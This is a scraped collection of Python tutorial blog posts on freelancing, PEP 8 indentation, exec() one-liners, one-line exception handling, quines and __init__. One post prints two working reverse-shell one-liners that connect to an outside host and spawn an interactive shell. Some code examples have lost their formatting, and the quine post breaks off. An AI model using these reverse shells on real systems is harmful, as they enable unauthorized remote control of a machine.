Posted on Leave a comment

Top 5 Python Freelancer Jobs to Earn $51 per Hour on Upwork or Fiverr

Python freelancers earn $51 per hour on average. But how do they do it? In the following video I show you the top five trending gigs for Python freelancers:

In summary, these are the most trending jobs how Python freelancers earn money in 2020:

  1. Create educational content:. You can write blog articles for blog owners, write ebooks for publishers, or create full video courses for education companies. These gigs usually require that you’re dedicated to teaching and you’re willing to learn. But the payoff can be huge—because you learn new things, increase your value to the marketplace and get paid in the process.
  2. Become a consultant. If you have mastered the freelancing platforms, it often becomes a good idea to leave those platforms because they take a hefty 20% cut from your earnings. You can position yourself as an independent consultant and offer your services to big companies and business owners without intermediaries. Over time, more and more consulting opportunities will present themselves to you. Just work on your skills and contribute!
  3. Develop websites. Python has great web development back-end functionality. You can master Django, Flask, and MySQL databases for Python. Then, you can develop websites for individuals and companies and sell them. If you streamline the process, you can earn significant money for relatively little time because the process of creating a website can be 10x faster for experienced coders that optimize processes.
  4. Create machine learning models. Many companies have huge amounts of training and testing data. They need better models. So, they hire 20-30 machine learning engineers to create models that maximize accuracy and minimize variance. Then, they take the best one. This can be a massive opportunity for you because machine learning is here to stay.
  5. Visualize data and create dashboards. The internet of thing is a growing beast. Business owners must observe data from various sources that may change dynamically. A great way of accomplishing this are dashboards. In Python, you can easily create dashboards using the Dash library from Plotly. If you master this rapidly growing technology, you’ll have plenty of work in the upcoming decade.

If you want to get a step-by-step blueprint on how to create your own freelancing business online, feel free to check out my full Python Freelancing Program! The link leads to the overview website on this blog.

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Posted on Leave a comment

Python One Line Reverse Shell

This article will be fun! You’ll learn about an important concept in security: reverse shells. You’ll also learn how to create reverse shells in Python in a single line of code. So, let’s start with the big question:

What is a Reverse Shell?

Here’s the definition of a Reverse Shell:

A reverse shell is used by hackers to gain access to a target machine. The target machine opens a shell to communicate to the attacking machine. The attacking machine receives the connection (listening on a given port) and is now able to access the target computer. To accomplish a reverse shell, a hacker must execute code on a target machine. Reverse shells are also used by security engineers to test and prevent reverse shell attacks.

You can read more here. In this tutorial, you’ll learn how to create a reverse shell in one line Python.

Method 1

I found this code in a blog thread. You can run it from any computer with Python installed and visible from your current location:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

But you should never execute code that’s copy&pasted from an Internet source. What if the code removes all files from your computer?

Let’s have a look at how this code looks like as a Python multi-liner so that you can understand it better:

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

As you see, the code opens a socket (which is an entry point for a connection), duplicates file descriptors, and calling a Linux shell. Thus, it will only run on Linux-based systems.

Method 2

In this Github thread, I found another one-liner that opens a reverse shell:

python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

When writing the equivalent multi-liner, the code looks more understandable:

import pty
import socket,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("Kali-IP",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

It’s very similar to the above code but uses the pty library to create the shell.

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Posted on Leave a comment

PEP 8: Hanging Indentation and Closing Brackets in Python

PEP 8 purists are ready to attack you and your code if they catch you not complying with the PEP 8 standard. For instance, Python coders put their braces, brackets, or parentheses into a separate line to make it easier to grasp nested lists or dictionaries.

This article shows how to line up the closing braces, brackets, and parentheses correctly in Python. This is called “hanging indentation” and it’s at the heart of PEP 8 standardized, clean code that’s easy to read and understand!

A quick example shows how you can create a multi-line construct that complies with the PEP 8 standard:

# PEP 8 Compliant
age = { 'Alice': 24, 'Bob': 28, 'Ann': 26, }

So, how to correctly intend list or dictionary data enclosed in braces, brackets, and parentheses?

According to the PEP 8 standard, there are two ways to line up the closing braces, brackets, or parentheses. First, line it up with the first non-whitespace character of the previous line. Second, line it up with the first character that starts the multi-line construct.

This sounds a bit confusing so let’s hop into practical examples.

Where to Put the Closing Brace, Bracket, or Parenthesis?

For multi-line constructs, there are two basic options of how to correctly intend the data.

1. Align the closing brace with the first non-whitespace character of the previous line:

# PEP 8 Compliant
age = { 'Alice': 24, 'Bob': 28, 'Ann': 26, }

2. Align the closing brace with the first character that starts the multi-line construct:

# PEP 8 Compliant
age = { 'Alice': 24, 'Bob': 28, 'Ann': 26,
}

Both ways of indentation are equally valid according to the PEP 8 standard. But note that in any case, the opening and closing braces (brackets, parentheses) should be placed in their own line. So the following would be a violation of the PEP 8 standard:

# NOT PEP 8 COMPLIANT
age = {'Alice': 24, 'Bob': 28, 'Ann': 26, }

The reason is that both opening and closing braces (brackets, parentheses) should be placed in their own line.

However, the PEP 8 standard allows NOT to place both opening and closing braces (brackets, parentheses) into their own line—IF the arguments or items align. Here are three PEP 8 compliant examples:

# PEP 8 Compliant
def f(argument_1, argument_2, argument_3, argument_4): None # PEP 8 Compliant
def f(argument_1, argument_2, argument_3, argument_4): None # PEP 8 Compliant
def f(argument_1, argument_2, argument_3, argument_4): None

Although the opening and closing parentheses are not placed into their own lines, it’s still PEP 8 compliant because the arguments align in the first two examples.

The following interactive code is not ready, yet. It requires your debugging superpower:

Exercise: Debug the code so that it runs. Which indentation method is your preferred one?

Why End Python List with Trailing Comma?

We’ve seen many examples of multi-line constructs where there’s a trailing comma after the last list element:

# PEP 8 Compliant
age = { 'Alice': 24, 'Bob': 28, 'Ann': 26, }

The trailing comma after the last line in the dictionary ('Ann' : 26,) is optional according to the PEP 8 standard.

Be aware: you’ll find many opinions on the web where “experts” tell you that the trailing comma is required (like here). But this is not explicitly stated in the standard. In fact, the standard recommends that you use the comma if your “items [are] expected to be extended over time” (source). In this case, it’s easier to copy&paste new items into the list (or dictionary) without having to manually add a trailing comma to the old last item and removing the trailing comma after the new last item.

In other words, the following multi-line construct is also valid and implicitly follows the PEP 8 standard:

# PEP 8 Compliant
age = { 'Alice': 24, 'Bob': 28, 'Ann': 26 }

Note that the trailing comma is missing. But if you don’t plan to extend your list over time, it’s fine to use this—even if some Python code style checkers (“Linters”) complain.

Nested Multi-Line Constructs

Now, you simply need to decide about which of the above methods you prepare to write opening and closing braces, brackets, or parentheses. Here’s how you can nest those and comply with the PEP 8 standard:

# PEP 8 Compliant
data = [ 'string', 42, { 1: '1', 2: '2', 42: '21', }, (1, 2, 3), ( [1, 2, 3], [4, 5, 6], )
]

You see that we place each brace, bracket, and parenthesis in one line. The next line starts with four whitespace indentations. Then comes the item, followed by a comma. The item itself can be a multi-line construct as well. But if you understand how to write one multi-line construct, you’ll also understand how to nest them.

Similar Questions

Should curly braces appear on their own line?

Yes, they should appear on their own line. An exception is if you write the whole sequence of items in one line. In this case, the closing brace, bracket, or parenthesis should appear at the end of the same line, too.

Where to Put the Closing Brace?

As discussed previously, you line it up with the first non-whitespace character of the previous line, or with the first character that starts the multi-line construct.

Flake-8 Rule: Continuation line unaligned for hanging indent (E131)

This is a common error of the code analyzer Flake-8. A continuation line is unaligned for hanging indent.

Anti-pattern:

# NOT PEP 8 Compliant
my_dict = { "key": "value", "long": "the quick brown fox jumps over the " "lazy dog",
}

Best practice:

# PEP 8 Compliant
my_dict = { "key": "value", "long": "the quick brown fox jumps over the " "lazy dog",
}

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Posted on Leave a comment

How to Execute Multiple Lines in a Single Line Python From Command-Line?

Summary: To make a Python one-liner out of any multi-line Python script, replace the new lines with a new line character '\n' and pass the result into the exec(...) function. You can run this script from the outside (command line, shell, terminal) by using the command python -c "exec(...)".

Problem: Given a multi-line code script in Python. How to execute this multi-line script in a single line of Python code? How to do it from the command line?

Example: Say, you have the following for loop with a nested if statement in the for loop body. You want to run this in a single line from your command line?

x = 10
for i in range(5): if x%2 == 0: print(i) else: print(x) x = x - 1 '''
0
9
2
7
4 '''

The code prints five numbers to the shell. It only prints the odd values of x. If x takes an even value, it prints the loop variable i.

Let’s have a look at the three methods to solve this problem!

Method 1: exec()

You can write any source code into a string and run the string using the built-in exec() function in Python. This is little known—yet, hackers often use this to pack malicious code into a single line that’s seemingly harmless.

If you have code that spans multiple lines, you can pack it into a single-line string by using the newline character '\n' in your string:

# Method 1
exec('x = 10\nfor i in range(5):\n if x%2 ==0: print(i)\n else: print(x)\n x = x-1')

This one-liner code snippet is semantically equivalent to the above nested for loop that requires seven lines of code! The output is the same:

'''
0
9
2
7
4 '''

Try it yourself in our interactive code shell:

Exercise: Remove the else branch of this code. What’s the output? Run the code to check if you were right!

Method 2: From Command-Line | python -c + exec()

Of course, you can also run this code from your Win/Linux/Mac command line or shell.

Just make sure to use the python -c prefix and then pack the single-line multi-liner into a string value that is passed as an argument to the python program.

This is how it looks in my Win 10 powershell:

PS C:\Users\xcent> python -c "exec('x = 10\nfor i in range(5):\n if x%2 ==0: print(i)\n else: print(x)\n x = x-1')"
0
9
2
7
4

Method 3: Use Ternary Operator to One-Linerize the Code

Of course, you can also create your own semantically-equivalent one-liner using a bit of creativity and Python One-Liner skills (e.g., acquired through reading my book “Python One-Liners” from NoStarch)!

In this code, you use the ternary operator:

# Method 3
for i in range(5): print(10-i) if i%2 else print(i)

You can easily convince yourself that the code does the same thing in a single line!

Python One-Liners Book

Python programmers will improve their computer science skills with these useful one-liners.

Python One-Liners

Python One-Liners will teach you how to read and write “one-liners”: concise statements of useful functionality packed into a single line of code. You’ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.

The book’s five chapters cover tips and tricks, regular expressions, machine learning, core data science topics, and useful algorithms. Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills. You’ll learn about advanced Python features such as list comprehension, slicing, lambda functions, regular expressions, map and reduce functions, and slice assignments. You’ll also learn how to:

  Leverage data structures to solve real-world problems, like using Boolean indexing to find cities with above-average pollution
  Use NumPy basics such as array, shape, axis, type, broadcasting, advanced indexing, slicing, sorting, searching, aggregating, and statistics
  Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning
  Create more advanced regular expressions using grouping and named groups, negative lookaheads, escaped characters, whitespaces, character sets (and negative characters sets), and greedy/nongreedy operators
  Understand a wide range of computer science topics, including anagrams, palindromes, supersets, permutations, factorials, prime numbers, Fibonacci numbers, obfuscation, searching, and algorithmic sorting

By the end of the book, you’ll know how to write Python at its most refined, and create concise, beautiful pieces of “Python art” in merely a single line.

Get your Python One-Liners Now!!

Posted on Leave a comment

Python One Line Exception Handling

Summary: You can accomplish one line exception handling with the exec() workaround by passing the one-linerized try/except block as a string into the function like this: exec('try:print(x)\nexcept:print("Exception!")'). This general method works for all custom, even multi-line, try and except blocks. However, you should avoid this one-liner code due to the bad readability.

Surprisingly, there has been a discussion about one-line exception handling on the official Python mailing list in 2013. However, since then, there has been no new “One-Line Exception Handling” feature in Python. So, we need to stick with the methods shown in this tutorial. But they will be fun—promised!

Let’s dive into the problem:

Problem: How to write the try/except block in a single line of Python code?

Example: Consider the following try/except block.

try: print(x)
except: print('Exception!')

Solution: Before we dive into each of the three methods to solve this problem, let’s have a quick overview in our interactive code shell:

Exercise: Run the code. Why are there only three lines of output? Modify the code such that each of the four methods generate an output!

Method 1: Ternary Operator

The following method to replace a simple try/except statement is based on the ternary operator.

Ternary Operator Background: The most basic ternary operator x if c else y consists of three operands x, c, and y. It is an expression with a return value. The ternary operator returns x if the Boolean expression c evaluates to True. Otherwise, if the expression c evaluates to False, the ternary operator returns the alternative y.

You can use the dir() function to check if the variable name 'x' already has been defined by using the condition 'x' in dir(). If the condition evaluates to True, you run the try block. If it evaluates to False, you run the except block.

# Method 1
print(x) if 'x' in dir() else print('Exception!')

The output of this code snippet as a standalone code is:

Exception!

This is because the variable x is not defined and it doesn’t appear in the variable name directory:

print(dir())
# ['__annotations__', '__builtins__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']

For example, if you define variable x beforehand, the code would run through:

x = 2
print(x) if 'x' in dir() else print('Exception!')

A disadvantage of this technique is that you need to know the kinds of exceptions that may occur. Also, it becomes harder to express multi-line try and except blocks. In this case, it’s often better to use the explicit try/except statements in the first place!

Method 2: exec()

The exec() function takes a string and runs the string as if it was a piece of source code. This way, you can compress any algorithm in a single line. You can also compress the try/except statement into a single line of code this way!

# Method 2
exec('try:print(x)\nexcept:print("Exception!")')

If you’d define the variable x beforehand, the result would be different:

exec('x=2\n' + 'try:print(x)\nexcept:print("Exception!")')
# 2

Now, the variable 2 is defined and the try block of the statement runs without exception.

Method 3: Contextlib Suppress + With Statement

If you’re not really interested in the except part and you just need to catch exceptions, this method may be for you:

# Method 3
from contextlib import suppress
with suppress(NameError): print(x)

You use a with block and write it into a single line. The object you pass into the with block must define two functions __enter__() and __exit__(). You use the suppress() method from the contextlib package to create such an object (a so-called context manager) that suppresses the occurrence of the NameError. The beauty of the with block is that it ensures that all errors on the with object are handled and the object is properly closed through the __exit__() method.

The disadvantage or advantage—depending on your preferences—is that there’s no except block.

Thanks for reading this blog tutorial! 🙂

Python One-Liners Book

Python programmers will improve their computer science skills with these useful one-liners.

Python One-Liners

Python One-Liners will teach you how to read and write “one-liners”: concise statements of useful functionality packed into a single line of code. You’ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.

The book’s five chapters cover tips and tricks, regular expressions, machine learning, core data science topics, and useful algorithms. Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills. You’ll learn about advanced Python features such as list comprehension, slicing, lambda functions, regular expressions, map and reduce functions, and slice assignments. You’ll also learn how to:

  Leverage data structures to solve real-world problems, like using Boolean indexing to find cities with above-average pollution
  Use NumPy basics such as array, shape, axis, type, broadcasting, advanced indexing, slicing, sorting, searching, aggregating, and statistics
  Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning
  Create more advanced regular expressions using grouping and named groups, negative lookaheads, escaped characters, whitespaces, character sets (and negative characters sets), and greedy/nongreedy operators
  Understand a wide range of computer science topics, including anagrams, palindromes, supersets, permutations, factorials, prime numbers, Fibonacci numbers, obfuscation, searching, and algorithmic sorting

By the end of the book, you’ll know how to write Python at its most refined, and create concise, beautiful pieces of “Python art” in merely a single line.

Get your Python One-Liners Now!!

Posted on Leave a comment

3 Passive Income Ideas on Upwork or Fiverr

The following three ideas can lead to passive income using Upwork or Fiverr:

  • Hire experts in their niches on Upwork or Fiverr to create online courses and sell them on Udemy
  • Hire experts in their niches on Upwork or Fiverr to create ebooks and sell them on Amazon
  • Hire freelance developers on Upwork or Fiverr to create software products or websites and sell them via the web

You see that you should not only enter these growing freelancing marketplaces as a freelance developer, but also as a client. Essentially, you want to become an arbitrageur of skill and work. This way, you can benefit from the increasing efficiencies of scale offered by these platforms.

Learn how to increase your hourly rate on Upwork and Fiverr and join my free Python freelancer webinar “How to build your high-income skill Python”!

Posted on Leave a comment

Python One Line With Statement

The with statement replaces former try...finally blocks in Python. It ensures that clean-up code is executed. For example, it closes open files before leaving the block. Consider this code example (assuming this code is stored in a file named 'code.py'):

with open('code.py') as code: print(code.read())

The output of this code would be the code itself (for nerds: a piece of code that generates itself is called a Quine):

''' OUTPUT
with open('code.py') as code: print(code.read()) '''

No matter what goes wrong inside the with block, Python will close the open file before moving on in the code. This way, you don’t need to enclose the code with a try...except statement.

Single Expression ‘With’ Statement in One Line

Python One Line With Statement

Problem: Can you write the with statement in a single line of code?

Solution: Yes, you can write the with statement in a single line of code if the loop body consists only of one statement:

with open('code.py') as code: print(code.read())

In general, you can write any indentation block (like if statements, with environments, or while loops) in a single line of code if the body consists of only one statement.

Exercise: The following interactive code throws an error if you run it. Fix the bug and run the correct code!

Multi Expression ‘With’ Statement in One Line

If the body consists of multiple statements, you can use a semicolon between the different statements:

with open('code.py') as code: print('The code:') print(code.read())

The previous code block becomes:

with open('code.py') as code: print('The code:'); print(code.read())

Note that in this particular instance, the semantics actually change because the code reads its own source file! But in all other cases, the semantics remain the same.

As soon as you have nested blocks like a for loop inside a with block, you cannot use this approach anymore because the code would become ambiguous. Believe it or not but the indentation serves a real purpose in Python! 😉

Nested Indentation Blocks in a One-Line ‘With’ Statement

If you know the Finxter tutorials, you also know that I seldomly conclude with such a statement “XYZ is impossible” because in most cases, it isn’t. If you’re in doubt whether you can compress an algorithm into a single line of code—don’t. You can compress all algorithms into a single line!

In most cases, you can avoid nested blocks by using list comprehension (rather than a for loop) or the ternary operator (rather than an if block).

Consider the following example with a for loop inside a with block:

with open('code.py') as code: for i in range(10): print(code.read())

Problem: One-Linerize a nested with block!

Wrong Solution: Write it into a single line:

Syntax Error With Statement Single Line

Correct Solution: Replace the inner for loop with a list comprehension statement!

with open('code.py') as code: [print(code.read()) for i in range(10)]

While this code runs and solves the problem, please note that the chosen example does not make a lot of sense. The file is read only once—even if you place it into a for loop. The reason is that the file reader is done reading the file after the first iteration. In subsequent iterations it only reads the remaining characters (there aren’t any) so the output is not 10x only 1x the file contents.

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Python One-Liners Book

Python programmers will improve their computer science skills with these useful one-liners.

Python One-Liners

Python One-Liners will teach you how to read and write “one-liners”: concise statements of useful functionality packed into a single line of code. You’ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.

The book’s five chapters cover tips and tricks, regular expressions, machine learning, core data science topics, and useful algorithms. Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills. You’ll learn about advanced Python features such as list comprehension, slicing, lambda functions, regular expressions, map and reduce functions, and slice assignments. You’ll also learn how to:

  Leverage data structures to solve real-world problems, like using Boolean indexing to find cities with above-average pollution
  Use NumPy basics such as array, shape, axis, type, broadcasting, advanced indexing, slicing, sorting, searching, aggregating, and statistics
  Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning
  Create more advanced regular expressions using grouping and named groups, negative lookaheads, escaped characters, whitespaces, character sets (and negative characters sets), and greedy/nongreedy operators
  Understand a wide range of computer science topics, including anagrams, palindromes, supersets, permutations, factorials, prime numbers, Fibonacci numbers, obfuscation, searching, and algorithmic sorting

By the end of the book, you’ll know how to write Python at its most refined, and create concise, beautiful pieces of “Python art” in merely a single line.

Get your Python One-Liners Now!!

Posted on Leave a comment

Python One Line Quine

Most computer scientists, programmers, and hackers don’t even know the meaning of the word “Quine” in the context of programming. So, first things first:

What is a Quine?

Roughly speaking, a quine is a self-reproducing program: if you run it, it generates itself.

Here’s a great definition:

:quine: /kwi:n/ /n./ [from the name of the logician Willard van Orman Quine, via Douglas Hofstadter] A program that generates a copy of its own source text as its complete output. Devising the shortest possible quine in some given programming language is a common hackish amusement. (source)

The name “quine” was coined by Douglas Hofstadter, in his popular science book Gödel, Escher, Bach, in honor of philosopher Willard Van Orman Quine (1908–2000), who made an extensive study of indirect self-reference, and in particular for the following paradox-producing expression, known as Quine’s paradox.

Wikipedia

The shortest possible quine is the following empty program:

 

The program is self-reproducing because the output of the program is the program itself. Go ahead and run it in your own shell! 😉

Let’s dive into a collection of Python Quines to demonstrate how they work!

Python One-Liner Quine 1

Here’s a short one-liner Quine, I found at this resource:

s='s=%r;print(s%%s,sep="")';print(s%s,sep="")

Here’s the code in an interactive shell so that you can play with this Quine in your browser:

Exercise: Run the code. What’s the output? Can you explain why?

Python One-Liner Quine 2

Posted on Leave a comment

What is __init__ in Python?

When reading over other people’s Python code, many beginners are puzzled by the __init__(self) method. What’s its purpose? This article answers this question once and for all.

What’s the purpose of __init__(self) in Python?

The reserved Python method __init__() is called the constructor of a class. You can call the constructor method to create an object (=instance) from a class and initialize its attributes.

Python __init__ method constructor

While this answers the question, if you’ve got any ambition in becoming a professional Python coder, it’s not enough to know that the __init__ method is the constructor of a class. You also need to know how to use the constructor in your own projects—and how to customize its arguments. A thorough understanding of the constructor serves as a strong foundation for more advanced concepts in object-oriented Python programming. Read on to learn the other half of the equation.

Interactive Example: Before I’ll explain it to you, let’s open your knowledge gap. Consider the following example:

Exercise: Add one argument color to the __init__ method and make the code run without error!

Let’s dive into this simple example in great detail.

How to Use the __init__ Method in Practice? A Simple Example

We’ll use some terms of object-oriented programming in Python to explain our example. Make sure to study the following cheat sheet (you can also download the PDF here). Click the image to get the cheat sheet (opens in a new tab). If you’re already comfortable with basic object-orientation terminologies like classes and instances, simply read on.

You’ve learned that the __init__ method is the constructor method of a class. You call the constructor method to create new instances (or objects). But how exactly does this play out in practice? Before we dive into the correct use, we need to understand the arguments (or parameters) of the constructor method.

The Self Argument

The __init__ constructor requires at least one argument. According to the PEP8 standard, it’s good practice to denote this argument as self. In any case, the self argument points to the newly-created instance itself and it allows you to manipulate the instance attributes of the new instance. In the dog example, you’d use self.color = "blue" to set the newly-created dog’s color attribute to the string "blue".

Let’s have a look at the following basic code example:

class Dog: def __init__(self): self.color = "blue" bello = Dog()
print(bello.color)
# blue
  1. We create a new class Dog with the constructor __init__(self).
  2. We create a new instance of the class Dog named bello. There are two interesting observations: First, we use the class name rather than the constructor name to create the new instance. Python internally calls the __init__ method for us. Second, we don’t pass any argument when calling Dog(). Again, Python implicitly passes a reference to the newly created instance (bello) to the constructor __init__.
  3. We print the color attribute of the newly-created bello instance. The result is the string value "blue" as defined in the constructor.

However, this minimal example is unrealistic. Some dogs are brown, others are black, and only some are blue.

Multiple Constructor Arguments

So how can we create different dogs with different colors? We can easily achieve this by using more arguments, in addition to self, when defining our constructor __init__. Here’s another example where we create two dogs with different colors. Can you spot their colors?

class Dog: def __init__(self, color): self.color = color bello = Dog("blue")
print(bello.color)
# blue alice = Dog("brown")
print(alice.color)
# brown

In contrast to the first example, we now define the constructor __init__(self, color) with two arguments rather than one.

The first is the self argument as before. The second is a custom argument color that is passed through by the caller of the constructor. In our case, we create two Dog instances, bello and alice, by specifying the color argument for both.

Note that the self argument is handled implicitly by the Python programming environment: Python simply passes a reference to the respective Dog instance to the __init__ constructor.

What’s the Difference between the Constructor and the Initializer?

Well, I haven’t used a very accurate terminology in the previous paragraphs. I used the term “constructor” for both the call Dog() and the call __init__(). But only the former call can be denoted as constructor method because only this call actually creates a new instance. At the time, we call the method __init__, the instance has already been created (Python passes it to us via the self argument). That’s why a more precise term for the __init__ method is initializer method. That’s how I’ll denote it in the following to make up for it. 😉

What’s the Meaning of the Underscores in the __init__ Method Name?

I’ve written a whole article about the meaning of the underscore in Python. Check it out if this topic interests you further. The key takeaway, however, is the following:

The double underscore “__” (called “dunder“) is used to make an instance attribute or method private (cannot be accessed from outside the class) — when used as leading dunder. When used as enclosing dunder (e.g. “__init__”) it indicates that it is a special method in Python (called “magic method”).

How to Use __init__ in an Inherited Class?

An inherited class is a class that inherits all attributes and methods from a parent class. Here’s an example:

class Dog: def __init__(self, color): self.color = color class CuteDog(Dog): def __init__(self, color): Dog.__init__(self, color) self.hairs = True bello = CuteDog('brown')
print(bello.hairs)
# True print(bello.color)
# brown

Inheritance is very important in Python. In the example, the parent class is the class Dog you already know from above. The initializer method __init__ defines the color of this dog.

Now, we also create a new class CuteDog that inherits all attributes from the parent class Dog. You can define inheritance by specifying the name of the parent class within the brackets after the child class: CuteDog(Dog).

The interesting thing is that the __init__ method of the child class CuteDog calls the __init__ method of the parent class. This makes sense because the child class has the same attributes as the parent class—and they need to be initialized, too.

The more Pythonic way, however, is to use the super() function that makes it easier for you to access the parent class:

class Dog: def __init__(self, color): self.color = color class CuteDog(Dog): def __init__(self, color): super().__init__(color) self.hairs = True bello = CuteDog('brown')
print(bello.hairs)
# True print(bello.color)
# brown

With the help of the super() function, you can easily reuse the initializer method of the parent class.

Let’s have a look at a few related questions.

Is __ init __ Necessary in Python?

No. You can simply skip the initializer method. As a result, your class won’t have any instance attributes directly after its creation. However, you can add instance attributes dynamically at any future point in time. Here’s an example:

class Dog: None bello = Dog()
bello.color = "blue"
print(bello.color)
# blue

How beautiful! You can even create empty classes and “fill in” the methods and attributes later in Python.

What Does __ init __ Return?

The __init__ method itself returns nothing. Technically, Python first uses the constructor method Dog() before it uses __init__ to initialize all attributes. Hence, only the constructor returns the newly-created instance.

Can __init__ Return a Value?

No. The only return value that doesn’t cause a runtime error is None. All other return values cause an error. See the following code example:

class Dog: def __init__(self, color): self.color = color return 0 bello = Dog("blue")
# TypeError: __init__() should return None, not 'int'

So never use any return value in the __init__ method and you’re good to go.

Where to Go from Here?

Thanks for reading through the whole article. You’ve learned that the __init__ name is reserved for the Python initializer method that is called within the constructor.

The article requires a thorough understanding of the Python basics. Investing time to learn and study those is vital for your success as a professional coder.

To help people grow their skills in an automated, personalized way, I’ve created a free Python email course “Coffee Break Python” that grows your skill level in a seemingless way. Day after day after day…

Join tens of thousands of Python coders (100% free)!

Posted on Leave a comment

Python One Line While Loop [A Simple Tutorial]

Python is powerful — you can condense many algorithms into a single line of Python code. So the natural question arises: can you write a while loop in a single line of code? This article explores this mission-critical question in all detail.

How to Write a While Loop in a Single Line of Python Code?

There are three ways of writing a one-liner while loop:

  • Method 1: If the loop body consists of one statement, write this statement into the same line: while True: print('hi'). This prints the string 'hi' to the shell for as long as you don’t interfere or your operating system forcefully terminates the execution.
  • Method 2: If the loop body consists of multiple statements, use the semicolon to separate them: while True: print('hi'), print('bye'). This runs the statements one after the other within the while loop.
  • Method 3: If the loop body consists nested compound statements, replace the inner compound structures with the ternary operator: while True: print('hi') if condition else print('bye').

Exercise: Run the code. What do you observe? Try to fix the infinite loop!

Next, you’ll dive deep into each of these methods and become a better coder in the process.

Before we move on, I’m excited to present you my brand-new Python book Python One-Liners (Amazon Link).

If you like one-liners, you’ll LOVE the book. It’ll teach you everything there is to know about a single line of Python code. But it’s also an introduction to computer science, data science, machine learning, and algorithms. The universe in a single line of Python!

The book is released in 2020 with the world-class programming book publisher NoStarch Press (San Francisco).

But enough promo, let’s dive into the first method—the profane…

Method 1: Single-Statement While Loop One-Liner

Just writing the while loop into a single line of code is the most direct way of accomplishing the task. Say, you want to write the following infinite while loop in a single line of code:

while True: print('hi') '''
hi
hi
... '''

You can easily get this done by writing the command in a single line of code:

# Method 1: Single-Line While Loop
while True: print('hi')

While this answer seems straightforward, the interesting question is: can we write a more complex while loop that has a longer loop body in a single line?

Related Article: If you’re interested in compressing whole algorithms into a single line of code, check out this article with 10 Python one-liners that fit into a single tweet.

Let’s explore an alternative Python trick that’s very popular among Python masters:

Method 2: Multi-Statement While Loop One-Liner

As it turns out, you can also use the semicolon to separate multiple independent statements and express them in a single line. The statement expression1; expression2 reads “first execute expression1, then execute expression2.

Here’s an example how you can run a while loop until a counter variable c reaches the threshold c == 10:

c = 0
while c < 10: print(c); c = c + 1 '''
0
1
2
3
4
5
6
7
8
9 '''

This way, you can easily compress “flat” loop bodies in a single line of Python code.

But what if the loop body is not flat but nested in a hierarchical manner—how to express those nested while loops in a single line?

Method 3: Nested Compound Statements While Loop One-Liner

You often want to use compound statements in Python that are statements that require an indented block such as if statements or while loops.

In the previous methods, you’ve seen simple while loop one-liners with one loop body statement, as well as multiple semicolon-separated loop body statements.

Problem: But what if you want to use a compound statement within a simple while loop—in a single line of code?

Example: The following statement works just fine:

# YES:
if expression: print('hi')

You can also add multiple statements like this:

# YES:
if expression: print('hi'); print('ho')

But you cannot use nested compound statements in a while loop one-liner:

# NO:
while expression1: if expression2: print('hi')

Python throws an error does not work because both the while and if statements are compound.

Nested Compound Statements Error

